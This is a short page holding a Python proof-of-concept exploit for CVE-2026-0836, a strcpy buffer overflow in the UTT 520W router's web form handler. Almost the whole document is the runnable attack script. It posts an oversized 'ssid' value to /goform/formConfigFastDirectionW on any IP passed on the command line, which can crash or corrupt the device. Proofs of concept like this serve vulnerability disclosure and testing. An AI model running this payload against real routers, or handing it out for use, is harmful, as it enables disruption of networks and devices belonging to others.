CVE-2026-0836 UTT路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 ''' CVE-2026-0836 PoC - Buffer Overflow in UTT Router /goform/formConfigFastDirectionW Target: UTT 进取 520W Firmware 1.7.7-180627 Vulnerability: strcpy buffer overflow via ssid parameter CVSS: 8.8 (High) ''' import requests import sys def exploit_buffer_overflow(target_ip, ssid_payload_length=500): """Exploit buffer overflow in formConfigFastDirectionW""" target_url = f"http://{target_ip}/goform/formConfigFastDirectionW" # Generate overflow payload - A's to overflow buffer overflow_payload = "A" * ssid_payload_length # Construct POST data with vulnerable parameter post_data = { "ssid": overflow_payload, # Other parameters may be needed "action": "save" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {ssid_payload_length} bytes") response = requests.post(target_url, data=post_data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [payload_length]") sys.exit(1) target = sys.argv[1] length = int(sys.argv[2]) if len(sys.argv) > 2 else 500 exploit_buffer_overflow(target, length)